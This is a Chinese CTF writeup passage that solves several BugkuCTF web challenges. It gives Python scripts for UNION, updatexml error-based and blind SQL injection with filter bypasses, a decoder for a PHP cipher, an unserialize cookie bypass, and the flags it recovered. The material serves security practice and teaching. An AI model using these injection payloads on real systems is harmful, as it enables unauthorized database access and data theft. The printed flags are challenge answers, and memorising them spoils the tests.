为了方便注入,我自己写了一个注入脚本,但当我跑出flag的时候才发现,事情并没有那么简单,先看一下脚本吧,这就是一个简单的数字型注入,注意双写它过滤的关键字就行了:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2020/11/15 18:47
# @Author  : Shadow
# @Site    : 
# @File    : Bugku_多次.py
# @Software: PyCharm
from urllib import parse
import requests
import re


# 爆数据库
def get_database():
    exp = "ununionion seselectlect 1,database()#"
    html = local.get(url=url+parse.quote(exp)).text
    database = re.findall(r"
(.*?)
"
,html) print('当前数据库为:',database[0]) # 爆表名 def get_tables(): exp = "ununionion seselectlect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()#" html = local.get(url=url+parse.quote(exp)).text tables = re.findall(r"
(.*?)
"
,html) print('当前数据表为:',tables[0]) table_name = input('请输入要爆的数据表名:') get_columns(table_name) # 爆列名 def get_columns(table): exp = "ununionion seselectlect 1, group_concat(column_name) from infoorrmation_schema.columns where table_name='{}'#".format(table) html = local.get(url=url+parse.quote(exp)).text columns = re.findall(r"
(.*?)
"
,html) print('数据表{}的所有字段名为:'.format(table),columns[0]) column_name = input('请输入要爆的字段名名:') get_data(column_name,table) # 爆字段 def get_data(column,table): exp = "ununionion seselectlect 1, group_concat({}) from {}#".format(column,table) html = local.get(url=url+parse.quote(exp)).text data = re.findall(r"
(.*?)
",html) print('字段{}的内容为:'.format(column),data[0]) if __name__=='__main__': url = "http://123.206.87.240:9004/1ndex.php?id=-1%27%20" local = requests.Session() # 开始 get_database() get_tables()

跑出flag1的内容:
BugkuCTF——最新web篇writeup(持续更新)_第55张图片

提交失败,于是我就去跑address,结果出来了个下一关…
BugkuCTF——最新web篇writeup(持续更新)_第56张图片

Xpath报错注入

这里利用 updatexml() 函数报错注入

BugkuCTF——最新web篇writeup(持续更新)_第57张图片

先来看一下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的 concat() 函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'

继续Python编写exp

更新一下脚本就行了:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2020/11/15 21:32
# @Author  : Shadow
# @Site    : 
# @File    : Bugku_真·多次.py
# @Software: PyCharm

from urllib import parse
import requests
import re

# 爆表名
def get_tables():
    exp = "and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),3) #"
    # print(url+parse.quote(exp))
    html = local.get(url=url+parse.quote(exp)).text
    tables = re.findall(r"XPATH syntax error: '~(.*?)~'",html)
    print('当前数据表为:',tables[0])
    table_name = input('请输入要爆的数据表名:')
    get_columns(table_name)

# 爆列名
def get_columns(table):
    exp = "and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),'~'),3) #".format(table)
    html = local.get(url=url+parse.quote(exp)).text
    columns = re.findall(r"XPATH syntax error: '~(.*?)~'",html)
    print('数据表{}的所有字段名为:'.format(table),columns[0])
    column_name = input('请输入要爆的字段名名:')
    get_data(column_name,table)
# 爆字段
def get_data(column,table):
    exp = "and updatexml(1,concat('~',(select {} from {}),'~'),3) #".format(column,table)
    html = local.get(url=url+parse.quote(exp)).text
    data = re.findall(r"XPATH syntax error: '~(.*?)~'",html)
    print('字段{}的内容为:'.format(column),data[0])

if __name__=='__main__':
    url = "http://123.206.87.240:9004/Once_More.php?id=1%27%20"
    local = requests.Session()
    # 开始
    get_tables()

拿到真·flag
在这里插入图片描述

flag:flag{Bugku-sql_6s-2i-4t-bug}

PHP_encrypt_1(ISCCCTF)

题目提示经过了base64编码,我们解下码先:

啥也不是

BugkuCTF——最新web篇writeup(持续更新)_第58张图片

代码审计

把文件下载下来,是一道代码审计题,先来分析下源码:


function encrypt($data,$key)
{
     
    # md5加密字符串ISCC
    $key = md5('ISCC');
    # 定义变量x
    $x = 0;
    # 获取data的长度
    $len = strlen($data);
    # 获取key的长度
    $klen = strlen($key);
    # 循环,次数小于len的值
    for ($i=0; $i < $len; $i++) {
     
        # 当x与klen都为0时
        if ($x == $klen)
        {
        
            # x=0
            $x = 0;
        }
        # char=key的第一个值
        $char .= $key[$x];
        # 自加
        $x+=1;
    }
    # 循环,次数小于len的值
    for ($i=0; $i < $len; $i++) {
     
        # 取data里面的第i个数据加上char里面的第i个数据 把他们的ord()ASCII值相加取余128
        $str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
    }
    return base64_encode($str);
}
?>
同余加密解密

这里最关键的点就是同于加密解密,
BugkuCTF——最新web篇writeup(持续更新)_第59张图片再来详细一些:
BugkuCTF——最新web篇writeup(持续更新)_第60张图片

Python编写exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2020/11/16 23:27
# @Author  : Shadow
# @Site    :
# @File    : Bugku_PHP_encrypt_1(ISCCCTF).py
# @Software: PyCharm


import base64


def detrcy(b64):
    # 定义一个接收数据的空列表
    int_b64 = []
    # base64解密b64并赋值给b64de
    b64de = base64.b64decode(b64)
    # 循环b64de次
    for i in range(len(b64de)):
        # 把b64de的old值传入int_b64
        int_b64.append(ord(b64de[i]))
        # print int_b64
    # 对应php代码中的 key= MD5('ISCC')
    key = '729623334f0aa2784a1599fd374c120d729623'
    # 定义空列表接收数据
    int_key = []
    # 遍历key的长度次
    for i in range(len(key)):
        # 把key的ord值传入int_ky
        int_key.append(ord(key[i]))
        # print int_key
    # 定义空字符flag接收数据
    flag = ''
    # 遍历int_b64的长度
    for i in range(len(int_b64)):
        # flag等于flag加ASCII解码后的int_b64[i]-int_key[i]加128的值除128
        # 涉及到同余加解密
        flag += chr((int_b64[i]-int_key[i]+128) % 128)
    print flag

if __name__ == '__main__':
    # str_b64 = eccrypt('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
    # print 'str_b64-->', str_b64
    str_b64 = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='
    # print 'str_b64-->', str_b64
    detrcy(str_b64)

flag:Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

flag.php

这题太迷惑人了,一开始我以为是从登录框下手,结果发现不是,而是要GET传值获取源码,进行一个代码审计:

http://123.206.87.240:8002/flagphp/?hint=2

BugkuCTF——最新web篇writeup(持续更新)_第61张图片

代码审计

先来分析下代码:


# 关闭报错
error_reporting(0);
# 包含一次flag.php文件
include_once("flag.php");
# 变量cookie等于ISecer
$cookie = $_COOKIE['ISecer'];
# var_dump($cookie);
# 判断是否GET到hint
if(isset($_GET['hint'])){
     
    # 高亮显示文件内容
    show_source(__FILE__);
}
# 反序列化key的值,如果全等于反序列化后cookie的值,就输出flag
elseif (unserialize($cookie) === "$KEY")
{
     
    echo "$flag";
}
else {
     
    ?>
    <html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>Login</title>
        <link rel="stylesheet" href="admin.css" type="text/css">
    </head>
    <body>
    <br>
    <div class="container" align="center">
        <form method="POST" action="#">
            <p><input name="user" type="text" placeholder="Username"></p>
            <p><input name="password" type="password" placeholder="Password"></p>
            <p><input value="Login" type="button"/></p>
        </form>
    </div>
    </body>
    </html>

    
}
$KEY='ISecer:www.isecer.com';
# 解题思路
echo ': $cookie'.var_dump(unserialize($KEY)).'
'
; echo ': $cookie'.var_dump(unserialize($cookie)); ?>

关键在于:

elseif (unserialize($cookie) === "$KEY")
{
     
    echo "$flag";
}

刚开始我以为只要吧key的值序列化一下,作为cookie传过去就行了,但是后来发现不是那么回事这里cookie的值是空的:


echo serialize($KEY).'
'
; echo ': $cookie'.var_dump(unserialize($cookie));

BugkuCTF——最新web篇writeup(持续更新)_第62张图片BugkuCTF——最新web篇writeup(持续更新)_第63张图片

意思是反序列化后的cookie全等于key的值,一定不要被底部定义的key欺骗了,它是后定义的,在上面的判断中,key并没有被定义,也就是key为空,也就是说我们传一个空的cookie就符合条件了:

BugkuCTF——最新web篇writeup(持续更新)_第64张图片

flag:flag{unserialize_by_virink}

sql注入2

DS_Store源码泄露

exp:下载地址

方法一:

在这里插入图片描述BugkuCTF——最新web篇writeup(持续更新)_第65张图片

方法二:

此块代码为引用!!!!!!

成功闭合了单引号

下面我们就尝试构造跟下面类似的语句

ascii(substr((select database()),1,1))>-1

ascii(mid(passwd,1,1))=%d

把这个语句放在01的位置就可以取出数据

但是这里逗号和空格都不能用,那么substr就用不了,但是我们可以使用mid(),比如

passwd=abc123

那我们可以用以下方式来取出想要的数据

mid((passwd)from(-1)) ->3

mid((passwd)from(-2)) ->23

mid((passwd)from(-3)) ->123

倒叙输出几位,但是这样如果要截取最后一位的话,显然每次截取的都是3,因此我们反转过来,使得每次截取出来的不一样

先倒叙取出几位

mid((passwd)from(-%d))

反转

reverse(mid((passwd)from(-%d)))

取最后一位

mid(reverse(mid((passwd)from(-%d)))from(-1))

比较ascii值

ascii(mid(reverse(mid((passwd)from(-%d)))from(-1)))= %d

测试一下发现

当表达式为真时,返回的是username error!!


当表达式为假时,返回的是password error!!


因此我们就可以利用这个特点进行盲注
Python编写exp

这里上一个前辈写的exp,难点就在构造注入语句上啊,确实厉害:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2020/11/16 17:29
# @Author  : Shadow
# @Site    : 
# @File    : Bugku_sql注入2.py
# @Software: PyCharm

import requests

url = 'http://123.206.87.240:8007/web2/login.php'
flag = ''


for i in range(1, 40):
    for p in range(32, 126):
        sqlstr = u"admin'-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'" % (i, p)
        data = {
     
            'uname': sqlstr,
            'passwd': '123456'
        }
        html = requests.post(url, data=data).text
        if 'username' in html:
            print i
            flag += chr(p)
            print flag
print "=================================>"
print "\n" + flag

解码flag竟然是:admin123

登录后台拿到flag:
BugkuCTF——最新web篇writeup(持续更新)_第66张图片
flag: flag{sql_iNJEct_comMon3600!}

孙xx的博客

这题不用看了,phpmyadmin没了,那就是突破点

Trim的日记本

目录扫描

BugkuCTF——最新web篇writeup(持续更新)_第67张图片
成功拿到flag:
在这里插入图片描述
flag:flag1:{0/m9o9PDtcSyu7Tt}

你可能感兴趣的:(我的CTF之路)